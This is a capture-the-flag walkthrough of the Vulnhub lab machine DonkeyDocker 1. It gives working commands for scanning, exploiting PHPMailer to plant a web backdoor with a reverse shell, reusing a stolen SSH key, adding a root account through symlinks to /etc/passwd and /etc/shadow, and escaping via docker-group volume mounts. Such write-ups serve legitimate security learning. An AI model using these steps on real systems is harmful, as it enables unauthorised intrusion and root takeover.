This writeup covers the Vulnhub CTF game DonkeyDocker 1 (2017), which might be the most interesting game I have played this year. In this game players are to play with Docker – a task that lies close to my heart since I love this technology. Although I am bit rusty on it ever since I quit programming and server management. Anyhow, this game is rated hard/intermediate by the creator. There’s no information given how many flags there are to find, which makes it a bit harder knowing when you’ve completed it. I hope I got them all!
I hope you enjoy this walkthrough and that it may shed some light on this lovely piece of technology!
$ sudo nmap -sn 192.168.110.0/24
Target IP address: 192.168.110.20
$ sudo nmap -p1-65535 -A -T4 -sS 192.168.110.20
Two services found, in addition robots.txt file following disallowed entries:
Enumerate web server
Before even visiting the web server, lets do some reconnaissance:
$ dirb http://192.168.110.20
|/contact||A contact form|
|/mailer/LICENSE||GNU GPL text|
|/mailer/examples/index.html||PHPMailer code examples|
Also, found reference to PHPMailer. Using PHPMailer Git repository as a map to find version number:
Found nothing of interest visiting the web page on target, except this comment in about.php:
<!-- FIXME!: www-path: /www -->
So far, PHPMailer looks like the most likely way in. A searchsploit lookup reveals there are a few exploits available:
$ searchsploit phpmailer
The exploit php/webapps/40974.py seem to fit like a glove. Copied it to my current directory and changed the following variables:
|payload||Added my IP and listening port|
I also had to insert the encoding of the script at top of file:
# coding: utf-8
Then I installed exploit dependency:
$ pip2 install requests_toolbelt
Setting up a listener on my side:
$ nc -lvp 4444
Running exploit (it takes a while running it):
$ python 40974.py
This exploit creates a backdoor.php file – most likely on the WWW root. Activating the back-door is as simple as visiting: http://192.168.110.20/backdoor.php
In listener, extend shell:
$ python -c 'import pty; pty.spawn("/bin/bash")'
A quick ls on / reveal something interesting:
Appears that I am inside a docker instance. That main.sh script looks interesting. Unsure if it is relevant or not. Decided to leave it be for now and focus on the users on this system.
Looking at /etc/passwd I found a user by the name of smith. Tried to list his home folder, but got no permission for such. Perhaps this user could be my way further in?
Sudo command is not available on this system. Trying su smith instead using smith as password.
Got flag. Moving on getting acquainted with user Smith I found some interesting stuff in his .ssh folder:
Appears to be a private key pointing to orwell@donkeydocker. Perhaps I can abuse this? Copying the private key over to my computer to try my luck:
Got SSH access and flag.
Root Privilege Escalation
Taking a closer look on Orwell user:
Gives: uid=1000(orwell) gid=1000(orwell) groups=101(docker),1000(orwell).
Orwell belong to the docker group! Moving on listing which containers are available:
$ docker container ls
The mystery of the main.sh unfolds. Looking at how it handles the flag.txt, that must be worth exploiting? My plan is to exploit how main.sh handles the flag.txt by replacing it with a symlink to /etc/passwd and /etc/shadow. This in order to create myself a root user!
Starting on PHP shell side creating a symlink to /etc/passwd:
$ cd /home/smith/ $ mv flag.txt flag.txt.bak $ ln -s /etc/passwd flag.txt
On SSH side, restart docker image so that main.sh gets executed.
$ docker restart donkeydocker
This killed my PHP shell and I had to set it up again. Verifying the symlink works:
Adding myself as root:
$ echo 'reedphish:x:0:0::/root:/bin/bash' >> flag.txt
Doing the same procedure for /etc/shadow:
$ rm flag.txt $ ln -s /etc/shadow flag.txt
Then I restarted Docker once again! And recreated by shell back-door once again. Setting password for myself, reusing Smiths password:
$ echo 'reedphish:R2JhrPXIXqW3g:17251:0:99999:7:::' >> flag.txt
Switch over to my newly created user:
$ su reedphish $ ls -al /root
Sorry to say, all this gymnastics and no flag!
Moving back to messing with Docker again
From working with Docker in the past, I know it is possible run additional commands using the docker run command and that this may be misused to read content outside of the container. Being a bit rusty, I had to consult Google:
My outline here is to create a new container and see if I can have some fun with it.
In SSH shell, create a working directory and a deploy file:
$ cd ~ $ mkdir hack $ cd hack $ touch Dockerfile $ vi Dockerfile
In Dockerfile Iadded
FROM alpine:3.3 # Alpine is nice! ENV WORKDIR /hack RUN mkdir -p $WORKDIR VOLUME [$WORKDIR] WORKDIR $WORKDIR
$ docker build -t hackerimage .
Abusing docker run (notice that Bash isn't available, using sh instead):
$ docker run -v /root:/hack -t hackerimage /bin/sh -c 'ls -la' $ docker run -v /root:/hack -t hackerimage /bin/sh -c 'cat flag.txt'